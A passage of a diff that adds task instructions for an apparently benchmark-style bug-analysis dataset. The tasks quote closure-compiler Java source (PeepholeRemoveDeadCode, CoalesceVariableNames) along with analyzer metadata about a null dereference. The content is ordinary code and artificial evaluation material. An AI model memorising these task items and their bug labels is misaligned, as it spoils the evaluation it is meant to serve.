+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5223/instruction.md b/inferredbugs-5223/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..30215da770caa8eaac5036bfd6466a9dc23abb72
--- /dev/null
+++ b/inferredbugs-5223/instruction.md
@@ -0,0 +1,722 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** closure-compiler
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2004 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.google.javascript.jscomp;
+
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicates;
+import com.google.javascript.rhino.Node;
+import com.google.javascript.rhino.Token;
+import com.google.javascript.rhino.jstype.TernaryValue;
+
+/**
+ * Peephole optimization to remove useless code such as IF's with false
+ * guard conditions, comma operator left hand sides with no side effects, etc.
+ *
+ *
+ *
+ */
+public class PeepholeRemoveDeadCode extends AbstractPeepholeOptimization {
+
+  // TODO(dcc): Some (all) of these can probably be better achieved
+  // using the control flow graph (like CheckUnreachableCode).
+  // There is an existing CFG pass (UnreachableCodeElimination) that
+  // could be changed to use code from CheckUnreachableCode to do this.
+
+  @Override
+  Node optimizeSubtree(Node subtree) {
+    switch(subtree.getType()) {
+      case Token.COMMA:
+        return tryFoldComma(subtree);
+      case Token.SCRIPT:
+      case Token.BLOCK:
+        return tryOptimizeBlock(subtree);
+      case Token.EXPR_RESULT:
+        return tryFoldHookExpr(subtree);
+      case Token.HOOK:
+        return tryFoldHook(subtree);
+      case Token.SWITCH:
+        return tryOptimizeSwitch(subtree);
+      case Token.IF:
+        return tryFoldIf(subtree);
+      case Token.WHILE:
+        return tryFoldWhile(subtree);
+       case Token.FOR: {
+          Node condition = NodeUtil.getConditionExpression(subtree);
+          if (condition != null) {
+            tryFoldForCondition(condition);
+          }
+        }
+        return tryFoldFor(subtree);
+      case Token.DO:
+        return tryFoldDo(subtree);
+        default:
+          return subtree;
+    }
+  }
+
+  /**
+   * Remove useless switches and cases.
+   */
+  private Node tryOptimizeSwitch(Node n) {
+    Preconditions.checkState(n.getType() == Token.SWITCH);
+
+    Node defaultCase = findDefaultCase(n);
+    if (defaultCase != null && isUselessCase(defaultCase)) {
+      NodeUtil.redeclareVarsInsideBranch(defaultCase);
+      n.removeChild(defaultCase);
+      reportCodeChange();
+      defaultCase = null;
+    }
+
+    // Removing cases when there exists a default case is not safe.
+    // TODO(johnlenz): Allow this if the same code is executed.
+    if (defaultCase == null) {
+      Node next = null;
+      // The first child is the switch conditions skip it.
+      for (Node c = n.getFirstChild().getNext(); c != null; c = next) {
+        next = c.getNext();
+        if (!mayHaveSideEffects(c.getFirstChild()) && isUselessCase(c)) {
+          NodeUtil.redeclareVarsInsideBranch(c);
+          n.removeChild(c);
+          reportCodeChange();
+        }
+      }
+    }
+
+    if (n.hasOneChild()) {
+      Node condition = n.removeFirstChild();
+      Node parent = n.getParent();
+      Node replacement = new Node(Token.EXPR_RESULT, condition)
+                            .copyInformationFrom(n);
+      parent.replaceChild(n, replacement);
+      reportCodeChange();
+      return replacement;
+    }
+
+    return null;
+  }
+
+  /**
+   * @return the default case node or null.
+   */
+  private Node findDefaultCase(Node n) {
+    for (Node c : n.children()) {
+      if (c.getType() == Token.DEFAULT) {
+        return c;
+      }
+    }
+    return null;
+  }
+
+  /**
+   * @return Whether the CASE or DEFAULT block does anything useful.
+   */
+  private boolean isUselessCase(Node caseNode) {
+    Node executingCase = caseNode;
+    while (executingCase != null) {
+      Preconditions.checkState(executingCase.getType() == Token.DEFAULT
+          || executingCase.getType() == Token.CASE);
+      // We only expect a DEFAULT case if the case we are checking is the
+      // DEFAULT case.  Otherwise we assume the DEFAULT case has already
+      // been removed.
+      Preconditions.checkState(caseNode == executingCase
+          || executingCase.getType() != Token.DEFAULT);
+      Node block = executingCase.getLastChild();
+      Preconditions.checkState(block.getType() == Token.BLOCK);
+      if (block.hasChildren()) {
+        for (Node blockChild : block.children()) {
+          int type = blockChild.getType();
+          // If this is a block with a labelless break, it is useless.
+          switch (blockChild.getType()) {
+            case Token.BREAK:
+              // A break to a different control structure isn't useless.
+              return blockChild.getFirstChild() == null;
+            case Token.VAR:
+              if (blockChild.hasOneChild()
+                  && blockChild.getFirstChild().getFirstChild() == null) {
+                // Variable declarations without initializations are ok.
+                continue;
+              }
+              return false;
+            default:
+              return false;
+          }
+        }
+      } else {
+        // Look at the fallthrough case
+        executingCase = executingCase.getNext();
+      }
+    }
+    return true;
+  }
+
+  private Node tryFoldComma(Node n) {
+    // If the left side does nothing replace the comma with the result.
+
+    Node parent = n.getParent();
+    Node left = n.getFirstChild();
+    Node right = left.getNext();
+
+    if (!mayHaveSideEffects(left)) {
+      // Fold it!
+      n.removeChild(right);
+      parent.replaceChild(n, right);
+      reportCodeChange();
+      return right;
+    } else {
+      if (parent.getType() == Token.EXPR_RESULT) {
+        // split comma
+        n.detachChildren();
+        // Replace the original expression with the left operand.
+        parent.replaceChild(n, left);
+        // Add the right expression afterward.
+        Node newStatement = new Node(Token.EXPR_RESULT, right);
+        newStatement.copyInformationFrom(n);
+
+        //This modifies outside the subtree, which is not
+        //desirable in a peephole optimization.
+        parent.getParent().addChildAfter(newStatement, parent);
+        reportCodeChange();
+        return left;
+      }
+    }
+
+    return n;
+  }
+
+  /**
+   * Try removing unneeded block nodes and their useless children
+   */
+  Node tryOptimizeBlock(Node n) {
+    // Remove any useless children
+    for (Node c = n.getFirstChild(); c != null; ) {
+      Node next = c.getNext();  // save c.next, since 'c' may be removed
+      if (!mayHaveSideEffects(c)) {
+        n.removeChild(c);  // lazy kids
+        reportCodeChange();
+      } else {
+        tryOptimizeConditionalAfterAssign(c);
+      }
+      c = next;
+    }
+
+    if (n.isSyntheticBlock() ||  n.getParent() == null) {
+      return n;
+    }
+
+    // Try to remove the block.
+    if (NodeUtil.tryMergeBlock(n)) {
+      reportCodeChange();
+      return null;
+    }
+
+    return n;
+  }
+
+  // TODO(johnlenz): Consider moving this to a separate peephole pass.
+  /**
+   * Attempt to replace the condition of if or hook immediately that is a
+   * reference to a name that is assigned immediately before.
+   */
+  private void tryOptimizeConditionalAfterAssign(Node n) {
+    Node next = n.getNext();
+
+    // Look for patterns like the following and replace the if-condition with
+    // a constant value so it can later be folded:
+    //   var a = /a/;
+    //   if (a) {foo(a)}
+    // or
+    //   a = 0;
+    //   a ? foo(a) : c;
+    // or
+    //   a = 0;
+    //   a || foo(a);
+    // or
+    //   a = 0;
+    //   a && foo(a)
+    //
+    // TODO(johnlenz): This would be better handled by control-flow sensitive
+    // constant propagation. As the other case that I want to handle is:
+    //   i=0; for(;i<0;i++){}
+    // as right now nothing facilitates removing a loop like that.
+    // This is here simply to remove the cruft left behind goog.userAgent and
+    // similar cases.
+
+    if (isSimpleAssignment(n) && isConditionalStatement(next)) {
+      Node lhsAssign = getSimpleAssignmentName(n);
+
+      Node condition = getConditionalStatementCondition(next);
+      if (NodeUtil.isName(lhsAssign) && NodeUtil.isName(condition)
+          && lhsAssign.getString().equals(condition.getString())) {
+        Node rhsAssign = getSimpleAssignmentValue(n);
+        TernaryValue value = NodeUtil.getExpressionBooleanValue(rhsAssign);
+        if (value != TernaryValue.UNKNOWN) {
+          int replacementConditionNodeType =
+            (value.toBoolean(true)) ? Token.TRUE : Token.FALSE;
+          condition.getParent().replaceChild(condition,
+              new Node(replacementConditionNodeType));
+          reportCodeChange();
+        }
+      }
+    }
+  }
+
+  /**
+   * @return whether the node is a assignment to a simple name, or simple var
+   * declaration with initialization.
+   */
+  private boolean isSimpleAssignment(Node n) {
+    // For our purposes we define a simple assignment to be a assignment
+    // to a NAME node, or a VAR declaration with one child and a initializer.
+    if (NodeUtil.isExprAssign(n)
+        && NodeUtil.isName(n.getFirstChild().getFirstChild())) {
+      return true;
+    } else if (n.getType() == Token.VAR && n.hasOneChild() &&
+        n.getFirstChild().getFirstChild() != null) {
+      return true;
+    }
+
+    return false;
+  }
+
+  /**
+   * @return The name being assigned to.
+   */
+  private Node getSimpleAssignmentName(Node n) {
+    Preconditions.checkState(isSimpleAssignment(n));
+    if (NodeUtil.isExprAssign(n)) {
+      return n.getFirstChild().getFirstChild();
+    } else {
+      // A var declaration.
+      return n.getFirstChild();
+    }
+  }
+
+  /**
+   * @return The value assigned in the simple assignment
+   */
+  private Node getSimpleAssignmentValue(Node n) {
+    Preconditions.checkState(isSimpleAssignment(n));
+    return n.getFirstChild().getLastChild();
+  }
+
+  /**
+   * @return Whether the node is a conditional statement.
+   */
+  private boolean isConditionalStatement(Node n) {
+    // We defined a conditional statement to be a IF or EXPR_RESULT rooted with
+    // a HOOK, AND, or OR node.
+    return n != null && (n.getType() == Token.IF || isExprConditional(n));
+  }
+
+  /**
+   * @return Whether the node is a rooted with a HOOK, AND, or OR node.
+   */
+  private boolean isExprConditional(Node n) {
+    if (n.getType() == Token.EXPR_RESULT) {
+      switch (n.getFirstChild().getType()) {
+        case Token.HOOK:
+        case Token.AND:
+        case Token.OR:
+          return true;
+      }
+    }
+    return false;
+  }
+
+  /**
+   * @return The condition of a conditional statement.
+   */
+  private Node getConditionalStatementCondition(Node n) {
+    if (n.getType() == Token.IF) {
+      return NodeUtil.getConditionExpression(n);
+    } else {
+      Preconditions.checkState(isExprConditional(n));
+      return n.getFirstChild().getFirstChild();
+    }
+  }
+
+  /**
+   * Try folding IF nodes by removing dead branches.
+   * @return the replacement node, if changed, or the original if not
+   */
+  private Node tryFoldIf(Node n) {
+    Preconditions.checkState(n.getType() == Token.IF);
+    Node parent = n.getParent();
+    Preconditions.checkNotNull(parent);
+    int type = n.getType();
+    Node cond = n.getFirstChild();
+    Node thenBody = cond.getNext();
+    Node elseBody = thenBody.getNext();
+
+    // if (x) { .. } else { } --> if (x) { ... }
+    if (elseBody != null && !mayHaveSideEffects(elseBody)) {
+      n.removeChild(elseBody);
+      elseBody = null;
+      reportCodeChange();
+    }
+
+    // if (x) { } else { ... } --> if (!x) { ... }
+    if (!mayHaveSideEffects(thenBody) && elseBody != null) {
+      n.removeChild(elseBody);
+      n.replaceChild(thenBody, elseBody);
+      Node notCond = new Node(Token.NOT);
+      n.replaceChild(cond, notCond);
+      notCond.addChildToFront(cond);
+      cond = notCond;
+      thenBody = cond.getNext();
+      elseBody = null;
+      reportCodeChange();
+    }
+
+    // if (x()) { }
+    if (!mayHaveSideEffects(thenBody) && elseBody == null) {
+      if (mayHaveSideEffects(cond)) {
+        // x() has side effects, just leave the condition on its own.
+        n.removeChild(cond);
+        Node replacement = NodeUtil.newExpr(cond);
+        parent.replaceChild(n, replacement);
+        reportCodeChange();
+        return replacement;
+      } else {
+        // x() has no side effects, the whole tree is useless now.
+        NodeUtil.removeChild(parent, n);
+        reportCodeChange();
+        return null;
+      }
+    }
+
+    // Try transforms that apply to both IF and HOOK.
+    TernaryValue condValue = NodeUtil.getExpressionBooleanValue(cond);
+    if (condValue == TernaryValue.UNKNOWN) {
+      return n;  // We can't remove branches otherwise!
+    }
+
+    if (mayHaveSideEffects(cond)) {
+      // Transform "if (a = 2) {x =2}" into "if (true) {a=2;x=2}"
+      boolean newConditionValue = condValue == TernaryValue.TRUE;
+      // Add an elseBody if it is needed.
+      if (!newConditionValue && elseBody == null) {
+        elseBody = new Node(Token.BLOCK).copyInformationFrom(n);
+        n.addChildToBack(elseBody);
+      }
+      Node newCond = new Node(newConditionValue ? Token.TRUE : Token.FALSE);
+      n.replaceChild(cond, newCond);
+      Node branchToKeep = newConditionValue ? thenBody : elseBody;
+      branchToKeep.addChildToFront(
+          new Node(Token.EXPR_RESULT, cond).copyInformationFrom(cond));
+      reportCodeChange();
+      cond = newCond;
+    }
+
+    boolean condTrue = condValue.toBoolean(true);
+    if (n.getChildCount() == 2) {
+      Preconditions.checkState(type == Token.IF);
+
+      if (condTrue) {
+        // Replace "if (true) { X }" with "X".
+        Node thenStmt = n.getFirstChild().getNext();
+        n.removeChild(thenStmt);
+        parent.replaceChild(n, thenStmt);
+        reportCodeChange();
+        return thenStmt;
+      } else {
+        // Remove "if (false) { X }" completely.
+        NodeUtil.redeclareVarsInsideBranch(n);
+        NodeUtil.removeChild(parent, n);
+        reportCodeChange();
+        return null;
+      }
+    } else {
+      // Replace "if (true) { X } else { Y }" with X, or
+      // replace "if (false) { X } else { Y }" with Y.
+      Node trueBranch = n.getFirstChild().getNext();
+      Node falseBranch = trueBranch.getNext();
+      Node branchToKeep = condTrue ? trueBranch : falseBranch;
+      Node branchToRemove = condTrue ? falseBranch : trueBranch;
+      NodeUtil.redeclareVarsInsideBranch(branchToRemove);
+      n.removeChild(branchToKeep);
+      parent.replaceChild(n, branchToKeep);
+      reportCodeChange();
+      return branchToKeep;
+    }
+  }
+
+  /**
+   * Transform HOOK (?:) to IF if this allows the removal of useless branches.
+   * @return the replacement node, if changed, or the original if not
+   */
+  private Node tryFoldHookExpr(Node n) {
+    Preconditions.checkState(NodeUtil.isExpressionNode(n));
+    Node hook = n.getFirstChild();
+    // Only looking at hooks here.
+    if (hook.getType() != Token.HOOK) {
+      return n;
+    }
+
+    Node parent = n.getParent();
+    Preconditions.checkNotNull(parent);
+    Node cond = hook.getFirstChild();
+    Node thenBody = cond.getNext();
+    Node elseBody = thenBody.getNext();
+
+    // Try to remove useless conditions and branches.
+    if (!mayHaveSideEffects(thenBody)) {
+      // x?void 0:y --> if(!x)y
+      Node ifNode = new Node(Token.IF);
+      if (cond.getType() == Token.NOT) {
+        Node expr = cond.getFirstChild();
+        cond.removeChild(expr);
+        ifNode.addChildToBack(expr);
+      } else {
+        Node not = new Node(Token.NOT).copyInformationFrom(cond);
+        hook.removeChild(cond);
+        not.addChildToBack(cond);
+        ifNode.addChildToBack(not);
+      }
+
+      hook.removeChild(elseBody);
+      ifNode.addChildToBack(
+          new Node(Token.BLOCK, NodeUtil.newExpr(elseBody))
+              .copyInformationFrom(elseBody));
+
+      parent.replaceChild(n, ifNode);
+      reportCodeChange();
+      return ifNode;
+    } else if (!mayHaveSideEffects(elseBody)) {
+      // x?y:void 0 --> if(x)y
+      Node ifNode = new Node(Token.IF);
+      hook.removeChild(cond);
+      ifNode.addChildToBack(cond);
+      hook.removeChild(thenBody);
+
+      ifNode.addChildToBack(
+          new Node(Token.BLOCK, NodeUtil.newExpr(thenBody))
+              .copyInformationFrom(thenBody));
+
+      parent.replaceChild(n, ifNode);
+      reportCodeChange();
+      return ifNode;
+    }
+
+    return n;
+  }
+
+  /**
+   * Try folding HOOK (?:) if the condition results of the condition is known.
+   * @return the replacement node, if changed, or the original if not
+   */
+  private Node tryFoldHook(Node n) {
+    Preconditions.checkState(n.getType() == Token.HOOK);
+    Node parent = n.getParent();
+    Preconditions.checkNotNull(parent);
+    Node cond = n.getFirstChild();
+    Node thenBody = cond.getNext();
+    Node elseBody = thenBody.getNext();
+
+    TernaryValue condValue = NodeUtil.getExpressionBooleanValue(cond);
+    if (condValue == TernaryValue.UNKNOWN) {
+      return n;  // We can't remove branches otherwise!
+    }
+
+    // Transform "(a = 2) ? x =2 : y" into "a=2,x=2"
+    n.detachChildren();
+    Node branchToKeep = condValue.toBoolean(true) ? thenBody : elseBody;
+    Node replacement;
+    if (mayHaveSideEffects(cond)) {
+      replacement = new Node(Token.COMMA).copyInformationFrom(n);
+      replacement.addChildToFront(cond);
+      replacement.addChildToBack(branchToKeep);
+    } else {
+      replacement = branchToKeep;
+    }
+
+    parent.replaceChild(n, replacement);
+    reportCodeChange();
+    return replacement;
+  }
+
+  /**
+   * Removes WHILEs that always evaluate to false.
+   */
+  Node tryFoldWhile(Node n) {
+    Preconditions.checkArgument(n.getType() == Token.WHILE);
+    Node cond = NodeUtil.getConditionExpression(n);
+    if (NodeUtil.getBooleanValue(cond) != TernaryValue.FALSE) {
+      return n;
+    }
+    NodeUtil.redeclareVarsInsideBranch(n);
+    NodeUtil.removeChild(n.getParent(), n);
+    reportCodeChange();
+
+    return null;
+  }
+
+  /**
+   * Removes FORs that always evaluate to false.
+   */
+  Node tryFoldFor(Node n) {
+    Preconditions.checkArgument(n.getType() == Token.FOR);
+    // This is not a FOR-IN loop
+    if (n.getChildCount() != 4) {
+      return n;
+    }
+    // There isn't an initializer
+    if (n.getFirstChild().getType() != Token.EMPTY) {
+      return n;
+    }
+
+    Node cond = NodeUtil.getConditionExpression(n);
+    if (NodeUtil.getBooleanValue(cond) != TernaryValue.FALSE) {
+      return n;
+    }
+
+    NodeUtil.redeclareVarsInsideBranch(n);
+    NodeUtil.removeChild(n.getParent(), n);
+    reportCodeChange();
+    return null;
+  }
+
+  /**
+   * Removes DOs that always evaluate to false. This leaves the
+   * statements that were in the loop in a BLOCK node.
+   * The block will be removed in a later pass, if possible.
+   */
+  Node tryFoldDo(Node n) {
+    Preconditions.checkArgument(n.getType() == Token.DO);
+
+    Node cond = NodeUtil.getConditionExpression(n);
+    if (NodeUtil.getBooleanValue(cond) != TernaryValue.FALSE) {
+      return n;
+    }
+
+    // TODO(johnlenz): The do-while can be turned into a label with
+    // named breaks and the label optimized away (maybe).
+    if (hasBreakOrContinue(n)) {
+      return n;
+    }
+
+    Preconditions.checkState(
+        NodeUtil.isControlStructureCodeBlock(n, n.getFirstChild()));
+    Node block = n.removeFirstChild();
+
+    n.getParent().replaceChild(n, block);
+    reportCodeChange();
+
+    return n;
+  }
+
+  /**
+   *
+   */
+  boolean hasBreakOrContinue(Node n) {
+    // TODO(johnlenz): This is overkill as named breaks may refer to outer
+    // loops or labels, and any break my refer to an inner loop.
+    // More generally, this check may be more expensive than we like.
+    return NodeUtil.has(
+        n,
+        Predicates.<Node>or(
+            new NodeUtil.MatchNodeType(Token.BREAK),
+            new NodeUtil.MatchNodeType(Token.CONTINUE)),
+        new NodeUtil.MatchNotFunction());
+  }
+
+  /**
+   * Remove always true loop conditions.
+   */
+  private void tryFoldForCondition(Node forCondition) {
+    if (NodeUtil.getBooleanValue(forCondition) == TernaryValue.TRUE) {
+      forCondition.getParent().replaceChild(forCondition,
+          new Node(Token.EMPTY));
+      reportCodeChange();
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `n.getFirstChild()` could be null and is dereferenced at line 90.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Node PeepholeRemoveDeadCode.tryOptimizeSwitch(Node)
+
+### Procedure Id:
+com.google.javascript.jscomp.PeepholeRemoveDeadCode.tryOptimizeSwitch(com.google.javascript.rhino.No.b86ce9ed0f7e032ff11d14aef9b9d888
+
+### File:
+src/com/google/javascript/jscomp/PeepholeRemoveDeadCode.java
+
+### Key:
+PeepholeRemoveDeadCode.java|tryOptimizeSwitch|NULL_DEREFERENCE
+
+### Node Key:
+00c1f65e387d55c612515ace03b6e05b
+
+### Hash:
+4a1979dab4748c726fe21fd2c8f5ecb0
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-5224/instruction.md b/inferredbugs-5224/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..bf736fc899fd42d57283f500be76baa4f3ac38ef
--- /dev/null
+++ b/inferredbugs-5224/instruction.md
@@ -0,0 +1,506 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** closure-compiler
+**Bug ID:** 14
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2008 The Closure Compiler Authors.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.google.javascript.jscomp;
+
+import com.google.common.base.Joiner;
+import com.google.common.base.Preconditions;
+import com.google.common.collect.Lists;
+import com.google.common.collect.Sets;
+import com.google.javascript.jscomp.ControlFlowGraph.AbstractCfgNodeTraversalCallback;
+import com.google.javascript.jscomp.ControlFlowGraph.Branch;
+import com.google.javascript.jscomp.DataFlowAnalysis.FlowState;
+import com.google.javascript.jscomp.LiveVariablesAnalysis.LiveVariableLattice;
+import com.google.javascript.jscomp.NodeTraversal.AbstractPostOrderCallback;
+import com.google.javascript.jscomp.NodeTraversal.ScopedCallback;
+import com.google.javascript.jscomp.Scope.Var;
+import com.google.javascript.jscomp.graph.DiGraph.DiGraphNode;
+import com.google.javascript.jscomp.graph.GraphColoring;
+import com.google.javascript.jscomp.graph.GraphColoring.GreedyGraphColoring;
+import com.google.javascript.jscomp.graph.GraphNode;
+import com.google.javascript.jscomp.graph.LinkedUndirectedGraph;
+import com.google.javascript.jscomp.graph.UndiGraph;
+import com.google.javascript.rhino.Node;
+import com.google.javascript.rhino.Token;
+
+import java.util.Comparator;
+import java.util.Deque;
+import java.util.Iterator;
+import java.util.Set;
+
+/**
+ * Reuse variable names if possible.
+ *
+ * <p>For example, from <code>var x = 1; print(x); var y = 2; print(y); </code>
+ * to <code>var x = 1; print(x); x = 2; print(x)</code>. The benefits are
+ * slightly shorter code because of the removed <code>var<code> declaration,
+ * less unique variables in hope for better renaming, and finally better gzip
+ * compression.
+ *
+ * <p>The pass operates similar to a typical register allocator found in an
+ * optimizing compiler by first computing live ranges with
+ * {@link LiveVariablesAnalysis} and a variable interference graph. Then it uses
+ * graph coloring in {@link GraphColoring} to determine which two variables can
+ * be merge together safely.
+ *
+ */
+class CoalesceVariableNames extends AbstractPostOrderCallback implements
+    CompilerPass, ScopedCallback {
+
+  private final AbstractCompiler compiler;
+  private final Deque<GraphColoring<Var, Void>> colorings;
+  private final boolean usePseudoNames;
+
+  private static final Comparator<Var> coloringTieBreaker =
+      new Comparator<Var>() {
+    public int compare(Var v1, Var v2) {
+      return v1.index - v2.index;
+    }
+  };
+
+  /**
+   * @param usePseudoNames For debug purposes, when merging variable foo and bar
+   * to foo, rename both variable to foo_bar.
+   */
+  CoalesceVariableNames(AbstractCompiler compiler, boolean usePseudoNames) {
+    Preconditions.checkState(!compiler.getLifeCycleStage().isNormalized());
+
+    this.compiler = compiler;
+    colorings = Lists.newLinkedList();
+    this.usePseudoNames = usePseudoNames;
+  }
+
+  @Override
+  public void process(Node externs, Node root) {
+    NodeTraversal.traverse(compiler, root, this);
+  }
+
+  @Override
+  public void enterScope(NodeTraversal t) {
+    // TODO(user): We CAN do this in the global scope, just need to be
+    // careful when something is exported. Liveness uses bit-vector for live
+    // sets so I don't see compilation time will be a problem for running this
+    // pass in the global scope.
+    if (t.inGlobalScope()) {
+      return;
+    }
+    Scope scope = t.getScope();
+    ControlFlowGraph<Node> cfg = t.getControlFlowGraph();
+
+    LiveVariablesAnalysis liveness =
+        new LiveVariablesAnalysis(cfg, scope, compiler);
+    // If the function has exactly 2 params, mark them as escaped. This is
+    // a work-around for an IE bug where it throws an exception if you
+    // write to the parameters of the callback in a sort(). See:
+    // http://code.google.com/p/closure-compiler/issues/detail?id=58
+    if (scope.getRootNode().getFirstChild().getNext().getChildCount() == 2) {
+      liveness.markAllParametersEscaped();
+    }
+    liveness.analyze();
+
+    UndiGraph<Var, Void> interferenceGraph =
+        computeVariableNamesInterferenceGraph(
+            t, cfg, liveness.getEscapedLocals());
+
+    GraphColoring<Var, Void> coloring =
+        new GreedyGraphColoring<Var, Void>(interferenceGraph,
+            coloringTieBreaker);
+
+    coloring.color();
+    colorings.push(coloring);
+  }
+
+  @Override
+  public void exitScope(NodeTraversal t) {
+    if (t.inGlobalScope()) {
+      return;
+    }
+    colorings.pop();
+  }
+
+  @Override
+  public void visit(NodeTraversal t, Node n, Node parent) {
+    if (colorings.isEmpty() || !NodeUtil.isName(n) ||
+        NodeUtil.isFunction(parent)) {
+      // Don't rename named functions.
+      return;
+    }
+    Var var = t.getScope().getVar(n.getString());
+    GraphNode<Var, ?> vNode = colorings.peek().getGraph().getNode(var);
+    if (vNode == null) {
+      // This is not a local.
+      return;
+    }
+    Var coalescedVar = colorings.peek().getPartitionSuperNode(var);
+
+    if (!usePseudoNames) {
+      if (vNode.getValue().equals(coalescedVar)) {
+        // The coalesced name is itself, nothing to do.
+        return;
+      }
+
+      // Rename.
+      n.setString(coalescedVar.name);
+      compiler.reportCodeChange();
+
+      if (NodeUtil.isVar(parent)) {
+        removeVarDeclaration(n);
+      }
+    } else {
+      // This code block is slow but since usePseudoName is for debugging,
+      // we should not sacrifice performance for non-debugging compilation to
+      // make this fast.
+      String pseudoName = null;
+      Set<String> allMergedNames = Sets.newTreeSet();
+      for (Iterator<Var> i = t.getScope().getVars(); i.hasNext();) {
+        Var iVar = i.next();
+
+        // Look for all the variables that can be merged (in the graph by now)
+        // and it is merged with the current coalscedVar.
+        if (colorings.peek().getGraph().getNode(iVar) != null &&
+            coalescedVar.equals(colorings.peek().getPartitionSuperNode(iVar))) {
+          allMergedNames.add(iVar.name);
+        }
+      }
+
+      // Keep its original name.
+      if (allMergedNames.size() == 1) {
+        return;
+      }
+
+      pseudoName = Joiner.on("_").join(allMergedNames);
+
+      while (t.getScope().isDeclared(pseudoName, true)) {
+        pseudoName += "$";
+      }
+
+      n.setString(pseudoName);
+      compiler.reportCodeChange();
+
+      if (!vNode.getValue().equals(coalescedVar) && NodeUtil.isVar(parent)) {
+        removeVarDeclaration(n);
+      }
+    }
+  }
+
+  private UndiGraph<Var, Void> computeVariableNamesInterferenceGraph(
+      NodeTraversal t, ControlFlowGraph<Node> cfg, Set<Var> escaped) {
+    UndiGraph<Var, Void> interferenceGraph =
+        LinkedUndirectedGraph.create();
+    Scope scope = t.getScope();
+
+    // First create a node for each non-escaped variable.
+    for (Iterator<Var> i = scope.getVars(); i.hasNext();) {
+      Var v = i.next();
+      if (!escaped.contains(v)) {
+
+        // TODO(user): In theory, we CAN coalesce function names just like
+        // any variables. Our Liveness analysis captures this just like it as
+        // described in the specification. However, we saw some zipped and
+        // and unzipped size increase after this. We are not totally sure why
+        // that is but, for now, we will respect the dead functions and not play
+        // around with it.
+        if (!NodeUtil.isFunction(v.getParentNode())) {
+          interferenceGraph.createNode(v);
+        }
+      }
+    }
+
+    // Go through each variable and try to connect them.
+    for (Iterator<Var> i1 = scope.getVars(); i1.hasNext();) {
+      Var v1 = i1.next();
+
+      NEXT_VAR_PAIR:
+      for (Iterator<Var> i2 = scope.getVars(); i2.hasNext();) {
+        Var v2 = i2.next();
+
+        // Skip duplicate pairs.
+        if (v1.index >= v2.index) {
+          continue;
+        }
+
+        if (!interferenceGraph.hasNode(v1) ||
+            !interferenceGraph.hasNode(v2)) {
+          // Skip nodes that were not added. They are globals and escaped
+          // locals. Also avoid merging a variable with itself.
+          continue NEXT_VAR_PAIR;
+        }
+
+        if (v1.getParentNode().getType() == Token.LP &&
+            v2.getParentNode().getType() == Token.LP) {
+          interferenceGraph.connectIfNotFound(v1, null, v2);
+          continue NEXT_VAR_PAIR;
+        }
+
+        // Go through every CFG node in the program and look at
+        // this variable pair. If they are both live at the same
+        // time, add an edge between them and continue to the next pair.
+        NEXT_CROSS_CFG_NODE:
+        for (DiGraphNode<Node, Branch> cfgNode : cfg.getDirectedGraphNodes()) {
+          if (cfg.isImplicitReturn(cfgNode)) {
+            continue NEXT_CROSS_CFG_NODE;
+          }
+
+          FlowState<LiveVariableLattice> state = cfgNode.getAnnotation();
+          // Check the live states and add edge when possible.
+          if ((state.getIn().isLive(v1) && state.getIn().isLive(v2)) ||
+              (state.getOut().isLive(v1) && state.getOut().isLive(v2))) {
+            interferenceGraph.connectIfNotFound(v1, null, v2);
+            continue NEXT_VAR_PAIR;
+          }
+        }
+
+        // v1 and v2 might not have an edge between them! woohoo. there's
+        // one last sanity check that we have to do: we have to check
+        // if there's a collision *within* the cfg node.
+        NEXT_INTRA_CFG_NODE:
+        for (DiGraphNode<Node, Branch> cfgNode : cfg.getDirectedGraphNodes()) {
+          if (cfg.isImplicitReturn(cfgNode)) {
+            continue NEXT_INTRA_CFG_NODE;
+          }
+
+          FlowState<LiveVariableLattice> state = cfgNode.getAnnotation();
+          boolean v1OutLive = state.getOut().isLive(v1);
